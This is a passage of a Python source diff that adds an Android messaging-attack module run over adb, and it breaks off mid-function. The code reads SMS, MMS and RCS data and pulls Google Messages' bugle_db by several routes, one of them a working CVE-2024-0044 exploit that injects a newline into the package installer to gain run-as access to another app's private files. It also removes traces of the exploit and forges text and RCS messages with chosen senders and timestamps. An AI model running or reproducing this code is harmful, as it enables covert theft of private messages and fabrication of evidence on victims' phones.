self._run_adb(cmd) + + def _parse_content_query(self, output: str) -> List[Dict[str, str]]: + rows = [] + if not output or output.startswith('[adb error]'): + return rows + for line in output.splitlines(): + line = line.strip() + if not line.startswith('Row:'): + continue + match = re.match(r'Row:\s*\d+\s+(.*)', line) + if not match: + continue + payload = match.group(1) + row = {} + parts = re.split(r',\s+(?=[a-zA-Z_]+=)', payload) + for part in parts: + eq_pos = part.find('=') + if eq_pos == -1: + continue + key = part[:eq_pos].strip() + val = part[eq_pos + 1:].strip() + if val == 'NULL': + val = None + row[key] = val + if row: + rows.append(row) + return rows + + def _is_error(self, output: str) -> bool: + return output.startswith('[adb error]') if output else True + + def _ts_ms(self, dt: Optional[datetime] = None) -> int: + if dt is None: + dt = datetime.now(timezone.utc) + return int(dt.timestamp() * 1000) + + def _format_ts(self, ts_ms) -> str: + try: + ts = int(ts_ms) / 1000 + return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC') + except (ValueError, TypeError, OSError): + return str(ts_ms) + + # ══════════════════════════════════════════════════════════════════════ + # §2 DEVICE CONNECTION & STATUS + # ══════════════════════════════════════════════════════════════════════ + + def get_connected_device(self) -> Dict[str, Any]: + output = self._run_adb('devices') + devices = [] + for line in output.splitlines(): + line = line.strip() + if line and not line.startswith('List') and not line.startswith('*'): + parts = line.split('\t') + if len(parts) >= 2: + devices.append({'serial': parts[0], 'state': parts[1]}) + if not devices: + return {'connected': False, 'error': 'No devices connected'} + for d in devices: + if d['state'] == 'device': + return {'connected': True, 'serial': d['serial'], 'state': 'device'} + return {'connected': False, 'error': f'Device state: {devices[0]["state"]}'} + + def get_device_info(self) -> Dict[str, Any]: + dev = self.get_connected_device() + if not dev.get('connected'): + return dev + info = { + 'connected': True, + 'serial': dev['serial'], + 'model': self._shell('getprop ro.product.model'), + 'manufacturer': self._shell('getprop ro.product.manufacturer'), + 'android_version': self._shell('getprop ro.build.version.release'), + 'sdk_version': self._shell('getprop ro.build.version.sdk'), + 'security_patch': self._shell('getprop ro.build.version.security_patch'), + 'build_id': self._shell('getprop ro.build.display.id'), + 'brand': self._shell('getprop ro.product.brand'), + 'device': self._shell('getprop ro.product.device'), + 'is_pixel': 'pixel' in self._shell('getprop ro.product.brand').lower() + or 'google' in self._shell('getprop ro.product.manufacturer').lower(), + 'is_samsung': 'samsung' in self._shell('getprop ro.product.manufacturer').lower(), + } + # Check default SMS app + sms_app = self._shell('settings get secure sms_default_application') + info['default_sms_app'] = sms_app if not self._is_error(sms_app) else 'unknown' + return info + + def get_status(self) -> Dict[str, Any]: + dev = self.get_device_info() + if not dev.get('connected'): + return {'ok': False, 'connected': False, 'error': dev.get('error', 'Not connected')} + # Check Shizuku + shizuku = self.check_shizuku_status() + # Check Archon + archon = self.check_archon_installed() + # Check CVE vulnerability + cve_status = self.check_cve_2024_0044() + return { + 'ok': True, + 'connected': True, + 'device': dev, + 'shizuku': shizuku, + 'archon': archon, + 'cve_2024_0044': cve_status, + 'exploit_active': self._cve_exploit_active, + 'monitor_running': self._monitor_running, + 'intercepted_count': len(self._intercepted), + 'forged_count': len(self._forged_log), + } + + def check_shizuku_status(self) -> Dict[str, Any]: + # Check if Shizuku is installed + pm_output = self._shell('pm list packages moe.shizuku.privileged.api') + installed = 'moe.shizuku.privileged.api' in pm_output if not self._is_error(pm_output) else False + if not installed: + pm_output = self._shell('pm list packages rikka.shizuku') + installed = 'rikka.shizuku' in pm_output if not self._is_error(pm_output) else False + # Check if Shizuku service is running + running = False + if installed: + ps_out = self._shell('ps -A | grep shizuku') + running = bool(ps_out and not self._is_error(ps_out) and 'shizuku' in ps_out.lower()) + return {'installed': installed, 'running': running, 'uid': 2000 if running else None} + + def check_archon_installed(self) -> Dict[str, Any]: + pm_output = self._shell('pm list packages com.darkhal.archon') + installed = 'com.darkhal.archon' in pm_output if not self._is_error(pm_output) else False + result = {'installed': installed} + if installed: + # Check version + dump = self._shell('dumpsys package com.darkhal.archon | grep versionName') + if dump and not self._is_error(dump): + m = re.search(r'versionName=(\S+)', dump) + if m: + result['version'] = m.group(1) + # Check if Archon has messaging/RCS permissions + perms = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_SMS"') + result['has_sms_permission'] = 'granted=true' in perms if perms else False + perms2 = self._shell('dumpsys package com.darkhal.archon | grep "android.permission.READ_CONTACTS"') + result['has_contacts_permission'] = 'granted=true' in perms2 if perms2 else False + return result + + def get_security_patch_level(self) -> Dict[str, Any]: + patch = self._shell('getprop ro.build.version.security_patch') + android_ver = self._shell('getprop ro.build.version.release') + sdk = self._shell('getprop ro.build.version.sdk') + result = { + 'security_patch': patch, + 'android_version': android_ver, + 'sdk_version': sdk, + } + # Check if CVE-2024-0044 is exploitable + try: + sdk_int = int(sdk) + if sdk_int in (31, 32, 33): # Android 12, 12L, 13 + if patch and patch < '2024-10-01': + result['cve_2024_0044_vulnerable'] = True + else: + result['cve_2024_0044_vulnerable'] = False + else: + result['cve_2024_0044_vulnerable'] = False + except (ValueError, TypeError): + result['cve_2024_0044_vulnerable'] = False + return result + + def get_default_sms_app(self) -> Dict[str, Any]: + app = self._shell('settings get secure sms_default_application') + if self._is_error(app): + return {'ok': False, 'error': app} + return {'ok': True, 'package': app} + + def set_default_sms_app(self, package: str) -> Dict[str, Any]: + # Verify package exists + pm = self._shell(f'pm list packages {shlex.quote(package)}') + if package not in pm: + return {'ok': False, 'error': f'Package {package} not found'} + result = self._shell(f'settings put secure sms_default_application {shlex.quote(package)}') + if self._is_error(result) and result: + return {'ok': False, 'error': result} + return {'ok': True, 'message': f'Default SMS app set to {package}'} + + # ══════════════════════════════════════════════════════════════════════ + # §3 IMS/RCS DIAGNOSTICS + # ══════════════════════════════════════════════════════════════════════ + + def get_ims_status(self) -> Dict[str, Any]: + output = self._shell('dumpsys telephony_ims') + if self._is_error(output): + # Try alternate service name + output = self._shell('dumpsys telephony.registry') + if self._is_error(output): + return {'ok': False, 'error': 'Cannot query IMS status'} + lines = output.splitlines() + result = {'ok': True, 'raw': output[:5000]} + for line in lines: + line_l = line.strip().lower() + if 'registered' in line_l and 'ims' in line_l: + result['ims_registered'] = 'true' in line_l or 'yes' in line_l + if 'rcs' in line_l and ('enabled' in line_l or 'connected' in line_l): + result['rcs_enabled'] = True + if 'volte' in line_l and 'enabled' in line_l: + result['volte_enabled'] = True + return result + + def get_carrier_config(self) -> Dict[str, Any]: + output = self._shell('dumpsys carrier_config') + if self._is_error(output): + return {'ok': False, 'error': output} + rcs_keys = {} + for line in output.splitlines(): + line = line.strip() + if any(k in line.lower() for k in ['rcs', 'ims', 'uce', 'presence', 'single_registration']): + if '=' in line: + key, _, val = line.partition('=') + rcs_keys[key.strip()] = val.strip() + return {'ok': True, 'rcs_config': rcs_keys, 'raw_length': len(output)} + + def get_rcs_registration_state(self) -> Dict[str, Any]: + # Check Google Messages RCS state via dumpsys + output = self._shell('dumpsys activity service com.google.android.apps.messaging') + rcs_state = 'unknown' + if output and not self._is_error(output): + for line in output.splitlines(): + if 'rcs' in line.lower() and ('state' in line.lower() or 'connected' in line.lower()): + rcs_state = line.strip() + break + # Also try carrier_services + cs_output = self._shell('dumpsys activity service com.google.android.ims') + cs_state = 'unknown' + if cs_output and not self._is_error(cs_output): + for line in cs_output.splitlines(): + if 'provisioned' in line.lower() or 'registered' in line.lower(): + cs_state = line.strip() + break + return { + 'ok': True, + 'messages_rcs_state': rcs_state, + 'carrier_services_state': cs_state, + } + + def enable_verbose_logging(self) -> Dict[str, Any]: + results = {} + # Set Phenotype flag for verbose bug reports (no root needed) + for name, flag in PHENOTYPE_FLAGS.items(): + cmd = ( + f'shell am broadcast ' + f"-a 'com.google.android.gms.phenotype.FLAG_OVERRIDE' " + f'--es package "com.google.android.apps.messaging#com.google.android.apps.messaging" ' + f'--es user "\\*" ' + f'--esa flags "{flag}" ' + f'--esa values "true" ' + f'--esa types "boolean" ' + f'com.google.android.gms' + ) + out = self._run_adb(cmd) + results[name] = 'success' if 'Broadcast completed' in out else out + # Try setting log tags (may require root) + log_tags = ['Bugle', 'BugleDataModel', 'BugleRcs', 'BugleRcsEngine', + 'RcsProvisioning', 'CarrierServices', 'BugleTransport'] + for tag in log_tags: + self._shell(f'setprop log.tag.{tag} VERBOSE') + results['log_tags'] = 'attempted (may require root)' + return {'ok': True, 'results': results} + + def capture_rcs_logs(self, duration: int = 10) -> Dict[str, Any]: + # Clear logcat first + self._shell('logcat -c') + # Capture filtered logs + tags = 'Bugle:V BugleRcs:V RcsProvisioning:V CarrierServices:V BugleRcsEngine:V *:S' + output = self._run_adb(f'shell logcat -d -s {tags}', timeout=duration + 5) + if self._is_error(output): + return {'ok': False, 'error': output} + lines = output.splitlines() + return {'ok': True, 'lines': lines[:500], 'total_lines': len(lines)} + + # ══════════════════════════════════════════════════════════════════════ + # §4 CONTENT PROVIDER EXTRACTION (no root needed) + # ══════════════════════════════════════════════════════════════════════ + + def read_sms_database(self, limit: int = 200) -> List[Dict[str, Any]]: + rows = self._content_query(SMS_URI, projection=SMS_COLUMNS, limit=limit) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + row['protocol_name'] = 'SMS' + msg_type = int(row.get('type', 0)) + row['direction'] = 'incoming' if msg_type == MSG_TYPE_INBOX else 'outgoing' + return rows + + def read_sms_inbox(self, limit: int = 100) -> List[Dict[str, Any]]: + return self._content_query(SMS_INBOX_URI, projection=SMS_COLUMNS, limit=limit) + + def read_sms_sent(self, limit: int = 100) -> List[Dict[str, Any]]: + return self._content_query(SMS_SENT_URI, projection=SMS_COLUMNS, limit=limit) + + def read_mms_database(self, limit: int = 100) -> List[Dict[str, Any]]: + rows = self._content_query(MMS_URI, projection=MMS_COLUMNS, limit=limit) + # Enrich with parts (body text) + for row in rows: + mms_id = row.get('_id') + if mms_id: + parts = self._content_query( + f'content://mms/{mms_id}/part', + projection=MMS_PART_COLUMNS, + ) + row['parts'] = parts + # Extract text body from parts + for p in parts: + if p.get('ct') == 'text/plain' and p.get('text'): + row['body'] = p['text'] + break + if row.get('date'): + row['date_formatted'] = self._format_ts(int(row['date']) * 1000) + return rows + + def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]: + rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit) + return rows + + def read_draft_messages(self) -> List[Dict[str, Any]]: + return self._content_query(MMS_SMS_DRAFT_URI) + + def read_undelivered_messages(self) -> List[Dict[str, Any]]: + return self._content_query(MMS_SMS_UNDELIVERED_URI) + + def read_locked_messages(self) -> List[Dict[str, Any]]: + return self._content_query(MMS_SMS_LOCKED_URI) + + def read_rcs_provider(self) -> Dict[str, Any]: + """Query the AOSP RCS content provider (content://rcs/).""" + results = {} + # Threads + threads = self._content_query(RCS_THREAD_URI) + results['threads'] = threads + results['thread_count'] = len(threads) + # P2P threads + p2p = self._content_query(RCS_P2P_THREAD_URI) + results['p2p_threads'] = p2p + # Group threads + groups = self._content_query(RCS_GROUP_THREAD_URI) + results['group_threads'] = groups + # Participants + participants = self._content_query(RCS_PARTICIPANT_URI) + results['participants'] = participants + results['ok'] = True + return results + + def read_rcs_messages(self, thread_id: Optional[int] = None) -> List[Dict[str, Any]]: + """Read RCS messages from AOSP RCS provider.""" + if thread_id: + uri = RCS_MESSAGE_URI_FMT.format(thread_id=thread_id) + else: + # Try querying all threads and getting messages from each + threads = self._content_query(RCS_THREAD_URI) + all_msgs = [] + for t in threads: + tid = t.get('rcs_thread_id') + if tid: + msgs = self._content_query( + RCS_MESSAGE_URI_FMT.format(thread_id=tid) + ) + for m in msgs: + m['thread_id'] = tid + all_msgs.extend(msgs) + return all_msgs + return self._content_query(uri) + + def read_rcs_participants(self) -> List[Dict[str, Any]]: + return self._content_query(RCS_PARTICIPANT_URI) + + def read_rcs_file_transfers(self, thread_id: int) -> List[Dict[str, Any]]: + uri = RCS_FILE_TRANSFER_URI_FMT.format(thread_id=thread_id) + return self._content_query(uri) + + def get_thread_messages(self, thread_id: int, limit: int = 200) -> List[Dict[str, Any]]: + rows = self._content_query( + SMS_URI, projection=SMS_COLUMNS, + where=f'thread_id={thread_id}', + limit=limit, + ) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + return rows + + def get_messages_by_address(self, address: str, limit: int = 200) -> List[Dict[str, Any]]: + safe_addr = address.replace("'", "''") + rows = self._content_query( + SMS_URI, projection=SMS_COLUMNS, + where=f"address='{safe_addr}'", + limit=limit, + ) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + return rows + + def search_messages(self, keyword: str, limit: int = 100) -> List[Dict[str, Any]]: + safe_kw = keyword.replace("'", "''").replace('%', '\\%') + rows = self._content_query( + SMS_URI, projection=SMS_COLUMNS, + where=f"body LIKE '%{safe_kw}%'", + limit=limit, + ) + for row in rows: + if row.get('date'): + row['date_formatted'] = self._format_ts(row['date']) + return rows + + def enumerate_providers(self) -> Dict[str, Any]: + """Scan all known messaging content providers and report which are accessible.""" + accessible = [] + blocked = [] + for uri in ALL_RCS_URIS: + out = self._run_adb(f'shell content query --uri {uri}', timeout=5) + if self._is_error(out) or 'Permission Denial' in out or 'SecurityException' in out: + blocked.append({'uri': uri, 'error': out[:200] if out else 'no response'}) + elif 'No result found' in out: + accessible.append({'uri': uri, 'status': 'accessible', 'rows': 0}) + else: + row_count = out.count('Row:') + accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count}) + # Also check standard SMS/MMS + for uri_name, uri in [('SMS', SMS_URI), ('MMS', MMS_URI), ('Conversations', MMS_SMS_CONVERSATIONS_URI)]: + out = self._run_adb(f'shell content query --uri {uri}', timeout=5) + if not self._is_error(out) and 'Permission' not in out: + row_count = out.count('Row:') + accessible.append({'uri': uri, 'status': 'has_data', 'rows': row_count, 'name': uri_name}) + return { + 'ok': True, + 'accessible': accessible, + 'blocked': blocked, + 'total_accessible': len(accessible), + 'total_blocked': len(blocked), + } + + # ══════════════════════════════════════════════════════════════════════ + # §5 BUGLE_DB DIRECT EXTRACTION + # ══════════════════════════════════════════════════════════════════════ + + def extract_bugle_db(self) -> Dict[str, Any]: + """Extract Google Messages bugle_db using best available method. + + Messages are stored as PLAINTEXT in bugle_db — no decryption needed. + The WAL file (bugle_db-wal) may contain recent messages not yet + checkpointed to the main database, so we always capture it. + """ + dev = self.get_connected_device() + if not dev.get('connected'): + return {'ok': False, 'error': 'No device connected'} + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + extract_dir = self._extracted_dir / timestamp + extract_dir.mkdir(parents=True, exist_ok=True) + + # Method 1: Try Archon app relay (if installed and has permissions) + archon = self.check_archon_installed() + if archon.get('installed') and archon.get('has_sms_permission'): + result = self._extract_via_archon(extract_dir) + if result.get('ok'): + return result + + # Method 2: Try CVE-2024-0044 (if vulnerable) + cve = self.check_cve_2024_0044() + if cve.get('vulnerable'): + result = self._extract_via_cve(extract_dir) + if result.get('ok'): + return result + + # Method 3: Try root direct pull + root_check = self._shell('id') + if 'uid=0' in root_check: + result = self._extract_via_root(extract_dir) + if result.get('ok'): + return result + + # Method 4: Try adb backup + result = self._extract_via_adb_backup(extract_dir) + if result.get('ok'): + return result + + # Method 5: Content provider fallback (SMS/MMS only, not full bugle_db) + return { + 'ok': False, + 'error': 'Cannot extract bugle_db directly. Available methods: ' + '(1) Install Archon with SMS permission + Shizuku, ' + '(2) Exploit CVE-2024-0044 on Android 12-13, ' + '(3) Use root access, ' + '(4) Use content provider queries for SMS/MMS only.', + 'fallback': 'content_providers', + } + + def _extract_via_root(self, extract_dir: Path) -> Dict[str, Any]: + """Extract bugle_db via root access.""" + for db_path in BUGLE_DB_PATHS: + check = self._shell(f'su -c "ls {db_path}" 2>/dev/null') + if not self._is_error(check) and 'No such file' not in check: + # Copy to accessible location + staging = '/data/local/tmp/autarch_extract' + self._shell(f'su -c "mkdir -p {staging}"') + for suffix in ['', '-wal', '-shm', '-journal']: + src = f'{db_path}{suffix}' + self._shell(f'su -c "cp {src} {staging}/ 2>/dev/null"') + self._shell(f'su -c "chmod 644 {staging}/{os.path.basename(src)}"') + # Pull files + files_pulled = [] + for suffix in ['', '-wal', '-shm', '-journal']: + fname = f'bugle_db{suffix}' + local_path = str(extract_dir / fname) + pull = self._run_adb(f'pull {staging}/{fname} {local_path}') + if 'bytes' in pull.lower() or os.path.exists(local_path): + files_pulled.append(fname) + # Cleanup + self._shell(f'su -c "rm -rf {staging}"') + if files_pulled: + return { + 'ok': True, 'method': 'root', + 'files': files_pulled, + 'path': str(extract_dir), + 'message': f'Extracted {len(files_pulled)} files via root', + } + return {'ok': False, 'error': 'bugle_db not found via root'} + + def _extract_via_archon(self, extract_dir: Path) -> Dict[str, Any]: + """Extract bugle_db via Archon app's Shizuku-elevated access.""" + # Ask Archon to copy the database to external storage + broadcast = ( + 'shell am broadcast -a com.darkhal.archon.EXTRACT_DB ' + '--es target_package com.google.android.apps.messaging ' + '--es database bugle_db ' + '--es output_dir /sdcard/Download/autarch_extract ' + 'com.darkhal.archon' + ) + result = self._run_adb(broadcast) + if 'Broadcast completed' not in result: + return {'ok': False, 'error': 'Archon broadcast failed'} + + # Wait for extraction to complete + time.sleep(3) + + # Pull files + staging = '/sdcard/Download/autarch_extract' + files_pulled = [] + for suffix in ['', '-wal', '-shm']: + fname = f'bugle_db{suffix}' + local_path = str(extract_dir / fname) + pull = self._run_adb(f'pull {staging}/{fname} {local_path}') + if 'bytes' in pull.lower() or os.path.exists(local_path): + files_pulled.append(fname) + + # Cleanup staging + self._shell(f'rm -rf {staging}') + + if files_pulled: + return { + 'ok': True, 'method': 'archon', + 'files': files_pulled, 'path': str(extract_dir), + 'message': f'Extracted {len(files_pulled)} files via Archon relay', + } + return {'ok': False, 'error': 'Archon extraction produced no files'} + + def _extract_via_adb_backup(self, extract_dir: Path) -> Dict[str, Any]: + """Extract via adb backup (deprecated on Android 12+ but may work).""" + backup_file = str(extract_dir / 'messaging.ab') + # Try backing up Google Messages + result = self._run_adb( + f'backup -nocompress com.google.android.apps.messaging', + timeout=60, + ) + # Also try telephony provider + result2 = self._run_adb( + f'backup -nocompress com.android.providers.telephony', + timeout=60, + ) + # Check if backup file was created + if os.path.exists(backup_file) and os.path.getsize(backup_file) > 100: + return { + 'ok': True, 'method': 'adb_backup', + 'files': ['messaging.ab'], 'path': str(extract_dir), + 'message': 'ADB backup created (may require user confirmation on device)', + 'note': 'Use extract_ab_file() to parse the .ab backup', + } + return {'ok': False, 'error': 'ADB backup not supported or user denied on device'} + + def query_bugle_db(self, sql: str) -> Dict[str, Any]: + """Run SQL query against a locally extracted bugle_db.""" + # Find the most recent extraction + extractions = sorted(self._extracted_dir.iterdir(), reverse=True) + db_path = None + for ext_dir in extractions: + candidate = ext_dir / 'bugle_db' + if candidate.exists(): + db_path = candidate + break + if not db_path: + return {'ok': False, 'error': 'No extracted bugle_db found. Run extract_bugle_db() first.'} + try: + conn = sqlite3.connect(str(db_path)) + conn.row_factory = sqlite3.Row + cursor = conn.execute(sql) + rows = [dict(r) for r in cursor.fetchall()] + conn.close() + return {'ok': True, 'rows': rows, 'count': len(rows), 'db_path': str(db_path)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def extract_rcs_from_bugle(self) -> Dict[str, Any]: + """Extract only RCS messages from bugle_db (message_protocol >= 2).""" + sql = """ + SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp, + m.message_protocol, m.message_status, m.read, + p.text AS body, p.content_type, p.uri AS attachment_uri, + c.name AS conversation_name, c.snippet_text, + ppl.normalized_destination AS phone_number, + ppl.full_name AS contact_name, + CASE WHEN ppl.sub_id = -2 THEN 'incoming' ELSE 'outgoing' END AS direction + FROM messages m + LEFT JOIN parts p ON m._id = p.message_id + LEFT JOIN conversations c ON m.conversation_id = c._id + LEFT JOIN conversation_participants cp ON cp.conversation_id = c._id + LEFT JOIN participants ppl ON cp.participant_id = ppl._id + WHERE m.message_protocol >= 2 + ORDER BY m.sent_timestamp DESC + """ + return self.query_bugle_db(sql) + + def extract_conversations_from_bugle(self) -> Dict[str, Any]: + """Full conversation export from bugle_db with all participants.""" + sql = """ + SELECT c._id, c.name, c.snippet_text, c.sort_timestamp, + c.last_read_timestamp, c.participant_count, c.archive_status, + GROUP_CONCAT(ppl.normalized_destination, '; ') AS participants, + GROUP_CONCAT(ppl.full_name, '; ') AS participant_names + FROM conversations c + LEFT JOIN conversation_participants cp ON c._id = cp.conversation_id + LEFT JOIN participants ppl ON cp.participant_id = ppl._id + GROUP BY c._id + ORDER BY c.sort_timestamp DESC + """ + return self.query_bugle_db(sql) + + def extract_message_edits(self) -> Dict[str, Any]: + """Get RCS message edit history from bugle_db.""" + sql = """ + SELECT me.message_id, me.latest_message_id, + me.original_rcs_messages_id, + me.edited_at_timestamp_ms, me.received_at_timestamp_ms, + p.text AS current_text + FROM message_edits me + LEFT JOIN messages m ON me.latest_message_id = m._id + LEFT JOIN parts p ON m._id = p.message_id + ORDER BY me.edited_at_timestamp_ms DESC + """ + return self.query_bugle_db(sql) + + def extract_all_from_bugle(self) -> Dict[str, Any]: + """Complete extraction of all messages, conversations, and participants from bugle_db.""" + result = {} + # Messages + sql_msgs = """ + SELECT m._id, m.conversation_id, m.sent_timestamp, m.received_timestamp, + m.message_protocol, m.message_status, m.read, m.seen, + p.text AS body, p.content_type, p.uri AS attachment_uri, + CASE m.message_protocol + WHEN 0 THEN 'SMS' WHEN 1 THEN 'MMS' ELSE 'RCS' + END AS protocol_name + FROM messages m + LEFT JOIN parts p ON m._id = p.message_id + ORDER BY m.sent_timestamp DESC + """ + msgs = self.query_bugle_db(sql_msgs) + result['messages'] = msgs.get('rows', []) if msgs.get('ok') else [] + + # Conversations + convos = self.extract_conversations_from_bugle() + result['conversations'] = convos.get('rows', []) if convos.get('ok') else [] + + # Participants + sql_parts = "SELECT * FROM participants ORDER BY _id" + parts = self.query_bugle_db(sql_parts) + result['participants'] = parts.get('rows', []) if parts.get('ok') else [] + + # Edits + edits = self.extract_message_edits() + result['edits'] = edits.get('rows', []) if edits.get('ok') else [] + + result['ok'] = True + result['total_messages'] = len(result['messages']) + result['total_conversations'] = len(result['conversations']) + result['total_participants'] = len(result['participants']) + + # Save to file + export_path = self._exports_dir / f'bugle_full_export_{datetime.now().strftime("%Y%m%d_%H%M%S")}.json' + with open(export_path, 'w') as f: + json.dump(result, f, indent=2, default=str) + result['export_path'] = str(export_path) + return result + + # ══════════════════════════════════════════════════════════════════════ + # §6 CVE-2024-0044 EXPLOIT + # ══════════════════════════════════════════════════════════════════════ + + def check_cve_2024_0044(self) -> Dict[str, Any]: + """Check if device is vulnerable to CVE-2024-0044 (run-as privilege escalation).""" + patch_info = self.get_security_patch_level() + result = { + 'cve': 'CVE-2024-0044', + 'description': RCS_CVES['CVE-2024-0044']['desc'], + 'android_version': patch_info.get('android_version', 'unknown'), + 'security_patch': patch_info.get('security_patch', 'unknown'), + 'vulnerable': patch_info.get('cve_2024_0044_vulnerable', False), + } + if result['vulnerable']: + result['message'] = ('Device appears vulnerable. Android 12/13 with security patch ' + f'before 2024-10-01 (current: {result["security_patch"]})') + else: + result['message'] = 'Device does not appear vulnerable to CVE-2024-0044' + return result + + def exploit_cve_2024_0044(self, target_package: str = 'com.google.android.apps.messaging') -> Dict[str, Any]: + """Execute CVE-2024-0044 run-as privilege escalation. + + This exploits a newline injection in PackageInstallerService to forge + a package entry, allowing run-as access to any app's private data. + Only works on Android 12-13 with security patch before October 2024. + """ + # Verify vulnerability + cve = self.check_cve_2024_0044() + if not cve.get('vulnerable'): + return {'ok': False, 'error': 'Device not vulnerable to CVE-2024-0044', 'details': cve} + + # Step 1: Get target app UID + uid_output = self._shell(f'pm list packages -U | grep {target_package}') + if self._is_error(uid_output) or target_package not in uid_output: + return {'ok': False, 'error': f'Package {target_package} not found'} + + uid_match = re.search(r'uid:(\d+)', uid_output) + if not uid_match: + return {'ok': False, 'error': 'Could not determine target UID'} + target_uid = uid_match.group(1) + + # Step 2: Create a minimal APK to push (we need any valid APK) + # Use an existing small APK from the device + apk_path = self._shell(f'pm path {target_package}') + if self._is_error(apk_path): + return {'ok': False, 'error': 'Cannot find target APK path'} + apk_path = apk_path.replace('package:', '').strip() + + # Copy to writable location + self._shell('cp /system/app/BasicDreams/BasicDreams.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null') + # Fallback: use any small system apk + if 'error' in self._shell('ls /data/local/tmp/exploit_carrier.apk').lower(): + # Try another approach — use settings apk + self._shell('cp /system/priv-app/Settings/Settings.apk /data/local/tmp/exploit_carrier.apk 2>/dev/null') + + # Step 3: Craft the injection payload + victim_name = f'autarch_victim_{int(time.time())}' + payload = ( + f'@null\n' + f'{victim_name} {target_uid} 1 /data/user/0 ' + f'default:targetSdkVersion=28 none 0 0 1 @null' + ) + + # Step 4: Install with injected payload + install_result = self._shell( + f'pm install -i "{payload}" /data/local/tmp/exploit_carrier.apk', + timeout=15, + ) + + # Step 5: Verify access + verify = self._shell(f'run-as {victim_name} id') + if f'uid={target_uid}' in verify or 'u0_a' in verify: + self._cve_exploit_active = True + self._exploit_victim_name = victim_name + return { + 'ok': True, + 'message': f'CVE-2024-0044 exploit successful. run-as {victim_name} has UID {target_uid}', + 'victim_name': victim_name, + 'target_uid': target_uid, + 'target_package': target_package, + 'verify': verify, + } + return { + 'ok': False, + 'error': 'Exploit attempt did not achieve expected UID', + 'install_result': install_result, + 'verify': verify, + } + + def _extract_via_cve(self, extract_dir: Path) -> Dict[str, Any]: + """Extract bugle_db using CVE-2024-0044 exploit.""" + if not self._cve_exploit_active: + exploit = self.exploit_cve_2024_0044() + if not exploit.get('ok'): + return exploit + + victim = self._exploit_victim_name + staging = '/data/local/tmp/autarch_cve_extract' + self._shell(f'mkdir -p {staging}') + self._shell(f'chmod 777 {staging}') + + # Use run-as to access and copy databases + for suffix in ['', '-wal', '-shm', '-journal']: + fname = f'bugle_db{suffix}' + for db_base in BUGLE_DB_PATHS: + src = f'{db_base}{suffix}' + self._shell( + f'run-as {victim} sh -c "cat {src}" > {staging}/{fname} 2>/dev/null' + ) + + # Pull extracted files + files_pulled = [] + for suffix in ['', '-wal', '-shm', '-journal']: + fname = f'bugle_db{suffix}' + local_path = str(extract_dir / fname) + pull = self._run_adb(f'pull {staging}/{fname} {local_path}') + if os.path.exists(local_path) and os.path.getsize(local_path) > 0: + files_pulled.append(fname) + + # Cleanup + self._shell(f'rm -rf {staging}') + + if files_pulled: + return { + 'ok': True, 'method': 'cve-2024-0044', + 'files': files_pulled, 'path': str(extract_dir), + 'message': f'Extracted {len(files_pulled)} files via CVE-2024-0044', + } + return {'ok': False, 'error': 'CVE extract produced no files'} + + def cleanup_cve_exploit(self) -> Dict[str, Any]: + """Remove traces of CVE-2024-0044 exploit.""" + results = [] + if self._exploit_victim_name: + # Uninstall the forged package + out = self._shell(f'pm uninstall {self._exploit_victim_name}') + results.append(f'Uninstall {self._exploit_victim_name}: {out}') + # Remove staging files + self._shell('rm -f /data/local/tmp/exploit_carrier.apk') + self._shell('rm -rf /data/local/tmp/autarch_cve_extract') + self._cve_exploit_active = False + self._exploit_victim_name = None + return {'ok': True, 'cleanup': results} + + # ══════════════════════════════════════════════════════════════════════ + # §7 MESSAGE FORGING + # ══════════════════════════════════════════════════════════════════════ + + def forge_sms(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX, + timestamp: Optional[int] = None, contact_name: Optional[str] = None, + read: int = 1) -> Dict[str, Any]: + if not address or not body: + return {'ok': False, 'error': 'Address and body are required'} + ts = timestamp or self._ts_ms() + bindings = { + 'address': address, + 'body': body, + 'type': msg_type, + 'date': ts, + 'date_sent': ts, + 'read': read, + 'seen': 1, + } + result = self._content_insert(SMS_URI, bindings) + if self._is_error(result): + return {'ok': False, 'error': result} + entry = { + 'address': address, 'body': body, 'type': msg_type, + 'timestamp': ts, 'contact_name': contact_name, + 'action': 'forge_sms', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + return {'ok': True, 'message': 'SMS forged successfully', 'details': entry} + + def forge_mms(self, address: str, subject: str = '', body: str = '', + msg_box: int = MMS_BOX_INBOX, timestamp: Optional[int] = None) -> Dict[str, Any]: + if not address: + return {'ok': False, 'error': 'Address required'} + ts = timestamp or int(time.time()) + bindings = { + 'msg_box': msg_box, + 'date': ts, + 'read': 1, + 'seen': 1, + } + if subject: + bindings['sub'] = subject + result = self._content_insert(MMS_URI, bindings) + if self._is_error(result): + return {'ok': False, 'error': result} + entry = { + 'address': address, 'subject': subject, 'body': body, + 'action': 'forge_mms', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + return {'ok': True, 'message': 'MMS forged', 'details': entry} + + def forge_rcs(self, address: str, body: str, msg_type: int = MSG_TYPE_INBOX, + timestamp: Optional[int] = None) -> Dict[str, Any]: + """Forge an RCS message. + + Attempts content://rcs/ provider first, falls back to Archon relay + for direct bugle_db insertion. + """ + if not address or not body: + return {'ok': False, 'error': 'Address and body required'} + ts = timestamp or self._ts_ms() + + # Try AOSP RCS provider + bindings = { + 'rcs_text': body, + 'origination_timestamp': ts, + } + result = self._content_insert(f'{RCS_P2P_THREAD_URI}/0/incoming_message', bindings) + if not self._is_error(result) and 'SecurityException' not in result: + entry = { + 'address': address, 'body': body, 'type': msg_type, + 'timestamp': ts, 'method': 'rcs_provider', + 'action': 'forge_rcs', 'time': datetime.now().isoformat(), + } + self._forged_log.append(entry) + return {'ok': True, 'message': 'RCS message forged via provider', 'details': entry} + + # Fallback: Archon relay + broadcast = ( + f'shell am broadcast -a com.darkhal.archon.FORGE_RCS ' + f'--es address "{address}" ' + f'--es body "{body}" ' + f'--ei type {msg_type} 